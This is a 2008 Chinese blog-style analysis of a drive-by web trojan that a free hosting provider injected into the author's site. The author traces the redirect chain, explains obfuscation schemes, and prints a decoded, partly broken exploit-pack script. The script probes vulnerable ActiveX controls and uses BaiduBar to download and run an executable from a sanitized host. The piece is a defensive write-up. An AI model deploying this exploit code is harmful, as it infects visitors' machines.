网页木马的研究分析

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

网页木马的研究分析(精品文章)
2008-10-14 21:13
今天给大家讲一讲网页木马的研究分析过程,目的在于让大家了解网页木马的运做过程,让大家加深理解。

网马测试环境我使用了影子系统+Firefox这样的环境,影子系统具有很好的系统还原功能,适合各种病毒木马以及恶意代码的测试,而Firefox则是一款很不错的浏览器,Firefox能够防御一部分网页恶意木马的执行,建议大家在此环境下操作,使用Firefox浏览器来查看恶意网站的源代码,从而进行分析与研究。

当然,本人可能技术不是很高超,如果你是高手,可以直接在自己的系统上测试,如果出现问题则使用手工查杀木马。

前两天我找到一个免费空间,发现该空间商提供的速度不错,而且不要求放置任何广告。

处于学习研究的目的,我上传了自己的网站。

运行了两三天吧,一直没什么问题,结果今天早晨打开网站的时候发现被挂马,其实判断起来最主要的特征首先就是被挂马的网页速度会很卡,因为恶意代码需要执行时间。

然后查看我的网站首页源代码,发现了被该空间商在最上方添加恶意代码,形式如/js/js.js,这种网马隐藏性比较高。

一般的网马都是直接使用框架Iframe形式,挂载如***.html这样的文件,如果使用这种网马,你会在你的网页源代码里看到:
而使用JS的挂马形式则会体现为,/js/js.js,不会直接出现如html等网页文件后缀,这种马的特点在于:1、不便于被管理员发现,因为网站中会有很多.js文件2、不会在浏览器状态栏里显示网马地址,而这个.js文件里的内容其实就是恶意网站的地址,只不过通过js文件的形式体现,其内容还是会出现***.html的网马地址。

其实像是免费空间这种东西,多是为了自己的利益,其典型就是要求放他们的广告,像我找到的这种空间,不但速度飞快,而且没有任何要求,只是要放置他们的流量代码。

当时就觉的有蹊跷,提供免费空间的人无非就两种目的,一是宣传自己的空间,让别人购买。

二是一些不怀好意的用途,比如给你挂个马什么的。

这个站只要求放置他的流量代码,一个目的可能是等你的站流量大了,然后强制要求放他们广告,再一个就是利用你的站投放木马。

记得,当时我还在自己的群里说过,“不会偷着给挂马什么的吧?”,结果果不其然。

于是,我立刻停掉了自己的网站。

这种事我也不是第一次碰到,就前几天还碰到过一次,也是免费空间,不过
人家直接了当,申请完了之后,上传完网站,直接把马挂在你的首页上,大不了管理员发现不用了就是。

虽然很可恶,但是这个空间的做法很无耻,还猫了一阵等你有流量了再挂。

我想他也是真有耐心,天下之大,无奇不有。

冒充某某IDC公司,把人家整站程序套到自己网站上,装上个马甲。

好了,说了怎么多,直是要给大家讲明个大概经过,好让大家以后有所防范。

下面我们进入正题。

刚才讲了,这个马是通过JS文件形式投放的,所以我们通过查看被挂马的网页源代码后,得到这个JS文件的地址,然后把它放到浏览器里浏览一下。

之后你就可以看到这个js文件里的内容,通过查看该文件,找到其网马地址为:/dl10.htm,之后我们还是在浏览器里打开它,查看其源代码,发现,那么news.html就是真实的网马地址。

当然,这个人采用了好几个网页来套用它的木马,也许你可能通过查看上面的js文件,得到的d110.htm就是直接的网马地址,那么你就不需要做下面的操作了。

只不过这个人通过d110.htm 又转到了/news.html上,所以我们再来打开这个地址,通过查看源代码我们得知了真实的网马代码,一般可能都通过加密,目的就是为了不让你查到木马文件源头。

如果没有加密,你可以直接找到木马地址,比如/muma.exe等等。

如果经过加密,你则需要使用一定的手法来破解它,下面讲一讲常用的目的家密算法和破解过程。

常用的加密形式有:
Encode加密、VBS加密、unescape加密、Base64加密等等。

一般这些都是通过工具来加密的,不过都是采用如上的加密算法,有的可以使用一定的工具来解密,如通用网马解密程序等等
有一些加密算法可能是个人所写,使用上述方法可能无法解密,这时就需要一定的编程基础,不过万变不离其宗,大家可以举一反三。

以前碰到过一个加密算法,作者使用var形式给加密部分配置了一个访问密码,不过密码都会在代码中出现,仔细的朋友发现并不难,除非他的代码采用C/S形式,不然都是可以破解的,破解时需要给这段代码加一个box属性,然后把密码带入其中。

经过对news.html的加密部分解密,得出了如下真实的网马代码:
<script>window.onerror=function(){return
true;}</script><script>window.defaultStatus="完成";eval("try{var e; var ado=(document.createElement("object"));
var kav="\x32\x30\x30\x38\x30\x33\x32\x39";
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E3 6");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
if(e!="[object Error]"){
document.write("
else{
try{ var f;
var thunder=new ActiveXObject("DPClient.Vod");}
catch(f){};
finally{ if(f!="[object Error]"){
document.write('')}}
try{var g;
var glworld=new ActiveXObject("GLCHAT.GLChatCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write('')}}
try{var h;
var storm=new ActiveXObject("MPS.StormPlayer.1");}
catch(h){};
finally{if(h!="[object Error]"){
document.write('')}}
try{var i;
var real=new ActiveXObject("IERPCtl.IERPCtl.1");}
catch(i){};
finally{if(i!="[object Error]"){
document.write('')
document.write('
try{var j;
var Baidu=new ActiveXObject("BaiduBar.Tool");}
catch(j){};
finally{if(j!="[object Error]"){
Baidu["\x44\x6c\x6f\x61\x64\x44\x53"]("http://www.xxx/Baidu.cab", "\x42\x61\x69\x64\x75\x2e\x65\x78\x65", 0)}}
if(f=="[object Error]" && g=="[object Error]" && h=="[object Error]" && i=="[object Error]" && j=="[object Error]")
{location.replace("about:blank");}}}")</script>
注:处于安全考虑,以上网址经过处理。

其实到这里也并是完成了所有工作,因为通过查看代码我们发现,这个恶意网站并非是使用了一个网马,而是使用了时下流行的“网马聚合”形式,早期的网马都是单一地址,而现在的网马为了提高中马率,而使用这种在一个网页中嵌套多个网马。

通过分析代码我们不难看出:ms06014.js、Thunder.html、GLWORLD.html、StormII.html、Real.html、real.js、Baidu.cab,这几个文件分别是利用了微软ms06014漏洞、迅雷漏洞、联众漏洞、暴风影音漏洞、RealPlayer漏洞、百度搜霸漏洞。

如果你的系统安装了如上程序,版本又比较老,则有可能存在如上漏洞被恶意代码利用。

至于如何判断该网马是利用什么漏洞,这里我提供两种识别方法,一是直接看它的文件名,顾名思义。

因为你整天用到这些软件,当你看到如Thunder.html这样的文件名,你不可能不知道这使迅雷漏洞网马。

二是看代码属性,如var Baidu=new ActiveXObject("BaiduBar.Tool"),当你看到这个名称时,就不难想到BaiduBar.Tool是什么了,即使你不知道,到百度搜一搜我想也该明白。

其实每段网马代码中都会有clsid字段,这段代码中clsid字段值为:
BD96C556-65A3-11D0-983A-00C04FC29E36,将它拷贝到搜索引擎搜索一下,就会看到微软针对相应的漏洞名称和说明。

针对微软的漏洞,修补起来只需要到微软官方网站下载相应漏洞补丁即可。

针对各种应用软件的漏洞,如迅雷等,则需要关注其官方网站动态,即时更新下载最新版本。

有人说到这里是不是就讲完了,其实不然。

通过上面说的,我们仍然没有得到真实的木马地址,虽然我们今天讲的是网马,可什么是网马?网马就是html形式的木马?它可以执行?高手可能闲我罗嗦,但为了照顾到大家,还是讲一讲。

“网马”说白了其实就是利用各种软件漏洞所编写的网页代码,其形式可能是利用缓冲区溢出等等规则,针对一些软件代码上的不完善,这种漏洞代码就可以导致软件缓冲区溢出,然后把存放在服务器上的exe木马下载到你的电脑上执行,而并不是这种.htm或.asp的网页文件本身就可执行,它只不过是一个载体。

无论你系统是否存在漏洞,恶意代码都会被下载到你系统盘里的temp临时文件夹里,等待执行,如果用360等软件检测恶意程序时,可以发现它提示在temp 文件夹里发现可执行文件,一般都是*.tmp,如果你系统存在漏洞,则被执行然后下载恶意程序。

如果你的系统不存在该漏洞,它将永远长眠。

当然你可以手工来清除它,在浏览器属性里选择“删除临时文件”即可。

如果你不删除,它也会在几天后自动清空。

如果你某天使用360等软件时发现这些文件,则有可能你已经浏览过恶意网站,这时就需要多加注意,在清除这些临时文件夹文件的同时,也要多留意自己的系统是否被安装木马。

我们分析找到的几个文件地址,Thunder.html等等,随便找一个在浏览器中打开,然后它的查看源代码,就可以在代码中发现
http:/\/\/\muma.exe这样形式的文件(如果代码也经过加密则跳到上面步骤继续解密),这就罪魁祸首,前面做了那么多,就是为了要下载它到你们的电脑中执行。

我们可以直接复制到浏览器进行把它保存到本地。

如果你前面中了该木马,保存到本地后我们可以用杀软查一查毒,如果发现病毒名称,到百度搜一搜,我想可以很快找到木马清除办法。

或者如果你的杀软查不出,则可以上报给你的杀毒软件公司,即可以得到奖励,又可以找到清除办法。

或许,你通过学习本文的方法,可以找到系统自身存在的漏洞,并及时修复。

当然,如果你只是处于研究的目的,则可以搭建影子系统,在本地运行一下,通过辅助软件查找其控制端IP地址,上报给公安机关。

你还可以找到其IP地址,然后进行反击的操作,当然作者不提倡这样,研究学习就好。

这些内容我们就不再继续讲了,今天主要研究网马部分。

相关文档
最新文档